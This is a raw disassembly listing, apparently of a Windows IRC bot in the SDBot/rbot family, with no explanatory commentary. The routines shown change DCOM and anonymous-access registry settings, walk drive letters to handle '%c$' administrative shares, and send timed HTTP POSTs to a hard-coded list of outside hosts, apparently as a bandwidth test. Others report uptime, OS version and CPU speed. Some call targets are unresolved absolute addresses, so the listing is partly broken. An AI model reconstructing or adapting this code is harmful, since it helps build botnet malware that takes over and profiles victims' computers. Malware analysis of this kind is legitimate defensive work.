cmp dword_4CB71C, edi
pop ecx
jnz loc_41A158
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A000: ; CODE XREF: sub_419E79+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB568
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A09D
cmp eax, 0EAh
jz short loc_41A09D
mov esi, offset off_43A090
loc_41A031: ; CODE XREF: sub_419E79+21Dj
push dword ptr [esi]
push edi
call sub_418C6B
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A048
push offset dword_43A1A4
jmp short loc_41A04D
; ---------------------------------------------------------------------------
loc_41A048: ; CODE XREF: sub_419E79+1C6j
push offset dword_43A178
loc_41A04D: ; CODE XREF: sub_419E79+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A080
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A080: ; CODE XREF: sub_419E79+1EBj
lea eax, [ebp+var_214]
push eax
call sub_4151AC
add esi, 8
pop ecx
cmp esi, offset dword_43A0B0
jb short loc_41A031
jmp loc_41A135
; ---------------------------------------------------------------------------
loc_41A09D: ; CODE XREF: sub_419E79+1AAj
; sub_419E79+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A12C
loc_41A0AC: ; CODE XREF: sub_419E79+2AFj
mov edi, [esi]
push edi
call sub_41D817
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A121
push edi
call sub_418B58
push eax
push 0
call sub_418C6B
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A0DB
push offset dword_43A154
jmp short loc_41A0E0
; ---------------------------------------------------------------------------
loc_41A0DB: ; CODE XREF: sub_419E79+259j
push offset dword_43A128
loc_41A0E0: ; CODE XREF: sub_419E79+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A114
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A114: ; CODE XREF: sub_419E79+27Fj
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
loc_41A121: ; CODE XREF: sub_419E79+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A0AC
xor edi, edi
loc_41A12C: ; CODE XREF: sub_419E79+22Dj
push [ebp+var_8]
call dword_4CB6B4
loc_41A135: ; CODE XREF: sub_419E79+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A000
lea eax, [ebp+var_214]
push offset dword_43A100
push eax
call sub_41B886
pop ecx
pop ecx
pop ebx
jmp short loc_41A16B
; ---------------------------------------------------------------------------
loc_41A158: ; CODE XREF: sub_419E79+177j
lea eax, [ebp+var_214]
push offset dword_43A0D0
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A16B: ; CODE XREF: sub_419E79+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A189
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A189: ; CODE XREF: sub_419E79+2F5j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_419E79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CB6F4, ebx
push esi
jnz loc_41A2CB
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CB694
test eax, eax
jnz short loc_41A228
mov ax, word_438E24
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB648
test eax, eax
jz short loc_41A20A
push offset dword_43A480
jmp short loc_41A20F
; ---------------------------------------------------------------------------
loc_41A20A: ; CODE XREF: sub_41A19D+64j
push offset dword_43A464
loc_41A20F: ; CODE XREF: sub_41A19D+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB600
jmp short loc_41A23B
; ---------------------------------------------------------------------------
loc_41A228: ; CODE XREF: sub_41A19D+36j
lea eax, [ebp+var_220]
push offset dword_43A2B8
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A23B: ; CODE XREF: sub_41A19D+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A25A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A25A: ; CODE XREF: sub_41A19D+A1j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CB694
test eax, eax
jnz short loc_41A2C4
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CB648
test eax, eax
jz short loc_41A2A6
push offset dword_43A424
jmp short loc_41A2AB
; ---------------------------------------------------------------------------
loc_41A2A6: ; CODE XREF: sub_41A19D+100j
push offset dword_43A3EC
loc_41A2AB: ; CODE XREF: sub_41A19D+107j
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB600
jmp short loc_41A2DE
; ---------------------------------------------------------------------------
loc_41A2C4: ; CODE XREF: sub_41A19D+E2j
push offset dword_43A3B0
jmp short loc_41A2D0
; ---------------------------------------------------------------------------
loc_41A2CB: ; CODE XREF: sub_41A19D+13j
push offset dword_43A1C8
loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A2DE: ; CODE XREF: sub_41A19D+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A2FD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A2FD: ; CODE XREF: sub_41A19D+144j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
cmp dword_4CB71C, ebx
pop ecx
jnz loc_41A472
push edi
mov esi, offset off_43A090
mov edi, 200h
loc_41A321: ; CODE XREF: sub_41A19D+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_418BBF
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A33C
push offset dword_43A390
jmp short loc_41A341
; ---------------------------------------------------------------------------
loc_41A33C: ; CODE XREF: sub_41A19D+196j
push offset dword_43A368
loc_41A341: ; CODE XREF: sub_41A19D+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A370
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A370: ; CODE XREF: sub_41A19D+1B7j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
add esi, 8
pop ecx
cmp esi, offset off_43A0A0
jb short loc_41A321
nop
call near ptr 29E0BF9h
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A45A
loc_41A39B: ; CODE XREF: sub_41A19D+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A44F
cmp bl, 41h
jz loc_41A44F
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_0 ; "%c:\\"
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CB684
cmp eax, 3
jnz short loc_41A44F
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_418BBF
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A40D
push offset dword_43A390
jmp short loc_41A412
; ---------------------------------------------------------------------------
loc_41A40D: ; CODE XREF: sub_41A19D+267j
push offset dword_43A368
loc_41A412: ; CODE XREF: sub_41A19D+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A442
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A442: ; CODE XREF: sub_41A19D+289j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
loc_41A44F: ; CODE XREF: sub_41A19D+206j
; sub_41A19D+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A39B
loc_41A45A: ; CODE XREF: sub_41A19D+1F8j
lea eax, [ebp+var_220]
push offset dword_43A338
push eax
call sub_41B886
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A485
; ---------------------------------------------------------------------------
loc_41A472: ; CODE XREF: sub_41A19D+173j
lea eax, [ebp+var_220]
push offset dword_43A0D0
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A485: ; CODE XREF: sub_41A19D+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A4A3
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A19D endp
; =============== S U B R O U T I N E =======================================
sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp
; sub_41A6AE+DDp ...
arg_0 = dword ptr 4
call near ptr 2830E52h
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41A4B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p
; sub_41A6AE+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41A6AA
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41B590
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40AAF9
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41A6AA
push 50h
call dword_4CB624
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41A6AA
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CB5CC
cmp eax, 0FFFFFFFFh
jz loc_41A6AA
push 32003h
call sub_41CFC5
mov edi, dword_4270A8
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_41B8D8
call sub_41B8E2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41B590
push 32000h
push esi
push ebx
call sub_41B590
push ebx
call sub_41AFE0
push 323EAh
mov ebx, eax
call sub_41CFC5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41B886
push [ebp+var_8]
push esi
call sub_41BEC0
push offset asc_433EDC ; "\r\n"
push esi
call sub_41BEC0
push esi
call sub_41AFE0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41A62A
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41A5FA
; ---------------------------------------------------------------------------
loc_41A5F7: ; CODE XREF: sub_41A4D1+157j
mov eax, [ebp+arg_0]
loc_41A5FA: ; CODE XREF: sub_41A4D1+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41A60A
push [ebp+var_C]
jmp short loc_41A60B
; ---------------------------------------------------------------------------
loc_41A60A: ; CODE XREF: sub_41A4D1+132j
push ebx
loc_41A60B: ; CODE XREF: sub_41A4D1+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CB674
cmp eax, 0FFFFFFFFh
jz short loc_41A691
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41A5F7
loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_427714
fst [ebp+arg_0]
fcomp flt_427710
fnstsw ax
sahf
jnz short loc_41A652
fld1
fstp [ebp+arg_0]
loc_41A652: ; CODE XREF: sub_41A4D1+17Aj
push [ebp+var_4]
call dword_4CB6BC
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_42770C
fmul flt_427708
call sub_41C798
loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A691: ; CODE XREF: sub_41A4D1+149j
push [ebp+var_4]
call dword_4CB6BC
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
loc_41A6AA: ; CODE XREF: sub_41A4D1+19j
; sub_41A4D1+42j ...
xor eax, eax
jmp short loc_41A68C
sub_41A4D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41A4B7
push [ebp+eax*4+var_3C]
call sub_41A4D1
push 8
mov esi, eax
call sub_41A4B7
push [ebp+eax*4+var_3C]
call sub_41A4D1
add esp, 10h
test esi, esi
jz short loc_41A7AF
test eax, eax
jz short loc_41A7AB
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41A7B1
; ---------------------------------------------------------------------------
loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j
mov ebx, esi
jmp short loc_41A7B1
; ---------------------------------------------------------------------------
loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j
mov ebx, eax
loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj
; sub_41A6AE+FFj
push 0Ch
call sub_41A4B7
push [ebp+eax*4+var_6C]
call sub_41A4D1
push 0Ch
mov edi, eax
call sub_41A4B7
push [ebp+eax*4+var_6C]
call sub_41A4D1
add esp, 10h
test edi, edi
jz short loc_41A7E9
test eax, eax
jz short loc_41A7E5
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41A7EB
; ---------------------------------------------------------------------------
loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej
mov esi, edi
jmp short loc_41A7EB
; ---------------------------------------------------------------------------
loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj
mov esi, eax
loc_41A7EB: ; CODE XREF: sub_41A6AE+135j
; sub_41A6AE+139j
push 6
call sub_41A4B7
push [ebp+eax*4+var_1C]
call sub_41A4D1
push 6
mov edi, eax
call sub_41A4B7
push [ebp+eax*4+var_1C]
call sub_41A4D1
add esp, 10h
test edi, edi
jz short loc_41A823
test eax, eax
jz short loc_41A81F
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41A825
; ---------------------------------------------------------------------------
loc_41A81F: ; CODE XREF: sub_41A6AE+168j
mov ecx, edi
jmp short loc_41A825
; ---------------------------------------------------------------------------
loc_41A823: ; CODE XREF: sub_41A6AE+164j
mov ecx, eax
loc_41A825: ; CODE XREF: sub_41A6AE+16Fj
; sub_41A6AE+173j
xor eax, eax
test ebx, ebx
jz short loc_41A832
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41A835
; ---------------------------------------------------------------------------
loc_41A832: ; CODE XREF: sub_41A6AE+17Bj
push 2
pop edi
loc_41A835: ; CODE XREF: sub_41A6AE+182j
test esi, esi
jz short loc_41A83D
add eax, esi
jmp short loc_41A83E
; ---------------------------------------------------------------------------
loc_41A83D: ; CODE XREF: sub_41A6AE+189j
dec edi
loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj
test ecx, ecx
jz short loc_41A846
add eax, ecx
jmp short loc_41A847
; ---------------------------------------------------------------------------
loc_41A846: ; CODE XREF: sub_41A6AE+192j
dec edi
loc_41A847: ; CODE XREF: sub_41A6AE+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43A4D8
push eax
call sub_41B886
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_26C]
push eax
call sub_4151AC
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41A6AE endp
; =============== S U B R O U T I N E =======================================
sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p
; sub_401ACD+2A10p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 2830E52h
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DB8F0
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A88B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call near ptr 2880000h
nop
test eax, eax
jz short loc_41A987
cmp [ebp+var_90], 4
jnz short loc_41A95D
cmp [ebp+var_8C], esi
jnz short loc_41A945
cmp [ebp+var_84], 1
jnz short loc_41A938
push 1
pop esi
loc_41A938: ; CODE XREF: sub_41A8F4+3Fj
cmp [ebp+var_84], 2
jnz short loc_41A987
push 1
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A945: ; CODE XREF: sub_41A8F4+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41A952
loc_41A94E: ; CODE XREF: sub_41A8F4+78j
push 2
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A952: ; CODE XREF: sub_41A8F4+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41A987
jmp short loc_41A977
; ---------------------------------------------------------------------------
loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej
cmp [ebp+var_90], 5
jnz short loc_41A987
cmp [ebp+var_8C], esi
jz short loc_41A94E
cmp [ebp+var_8C], 1
jnz short loc_41A97B
loc_41A977: ; CODE XREF: sub_41A8F4+67j
push 3
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A97B: ; CODE XREF: sub_41A8F4+81j
cmp [ebp+var_8C], 2
jnz short loc_41A987
push 7
loc_41A986: ; CODE XREF: sub_41A8F4+4Fj
; sub_41A8F4+5Cj ...
pop esi
loc_41A987: ; CODE XREF: sub_41A8F4+25j
; sub_41A8F4+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41A8F4 endp
; =============== S U B R O U T I N E =======================================
sub_41A98C proc near ; CODE XREF: sub_41AA42+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41A994: ; CODE XREF: sub_41A98C+2Fj
; sub_41A98C+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
nop
call near ptr 2820566h
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41D410
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41A994
jb short loc_41A9C3
cmp ebx, esi
ja short loc_41A994
loc_41A9C3: ; CODE XREF: sub_41A98C+31j
push 0
push 64h
push edi
push ebx
call sub_41D480
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AA36
jb short loc_41A9E2
cmp esi, 50h
jnb short loc_41A9E7
loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41A9E7: ; CODE XREF: sub_41A98C+54j
test ecx, ecx
ja short loc_41AA36
jb short loc_41A9F2
cmp esi, 47h
jnb short loc_41A9F7
loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj
push 42h
xor edx, edx
pop eax
loc_41A9F7: ; CODE XREF: sub_41A98C+64j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA02
cmp esi, 37h
jnb short loc_41AA07
loc_41AA02: ; CODE XREF: sub_41A98C+6Fj
push 32h
xor edx, edx
pop eax
loc_41AA07: ; CODE XREF: sub_41A98C+74j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA12
cmp esi, 26h
jnb short loc_41AA17
loc_41AA12: ; CODE XREF: sub_41A98C+7Fj
push 21h
xor edx, edx
pop eax
loc_41AA17: ; CODE XREF: sub_41A98C+84j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA22
cmp esi, 1Eh
jnb short loc_41AA27
loc_41AA22: ; CODE XREF: sub_41A98C+8Fj
push 19h
xor edx, edx
pop eax
loc_41AA27: ; CODE XREF: sub_41A98C+94j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA32
cmp esi, 0Ah
jnb short loc_41AA36
loc_41AA32: ; CODE XREF: sub_41A98C+9Fj
xor eax, eax
xor edx, edx
loc_41AA36: ; CODE XREF: sub_41A98C+4Dj
; sub_41A98C+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41A98C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_43D7D8
mov [ebp+var_CC], 94h
nop
call near ptr 2880000h
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41AAC9
cmp [ebp+var_C4], ebx
jnz short loc_41AAA5
cmp [ebp+var_BC], 1
jnz short loc_41AA8F
mov [ebp+var_4], offset dword_43193C
loc_41AA8F: ; CODE XREF: sub_41AA42+44j
cmp [ebp+var_BC], 2
jnz loc_41AB44
mov [ebp+var_4], offset dword_431938
jmp short loc_41AB15
; ---------------------------------------------------------------------------
loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41AAB7
mov [ebp+var_4], offset dword_431934
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41AB05
mov [ebp+var_4], offset dword_431930
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAC9: ; CODE XREF: sub_41AA42+33j
cmp [ebp+var_C8], 5
jnz short loc_41AB05
cmp [ebp+var_C4], ebx
jnz short loc_41AAE3
mov [ebp+var_4], offset dword_43192C
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAE3: ; CODE XREF: sub_41AA42+96j
cmp [ebp+var_C4], 1
jnz short loc_41AAF5
mov [ebp+var_4], offset dword_431928
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAF5: ; CODE XREF: sub_41AA42+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41AB0C
loc_41AB05: ; CODE XREF: sub_41AA42+7Cj
; sub_41AA42+8Ej
mov [ebp+var_4], offset dword_431920
loc_41AB0C: ; CODE XREF: sub_41AA42+73j
; sub_41AA42+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41AB44
loc_41AB15: ; CODE XREF: sub_41AA42+61j
cmp [ebp+var_B8], bl
jz short loc_41AB44
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
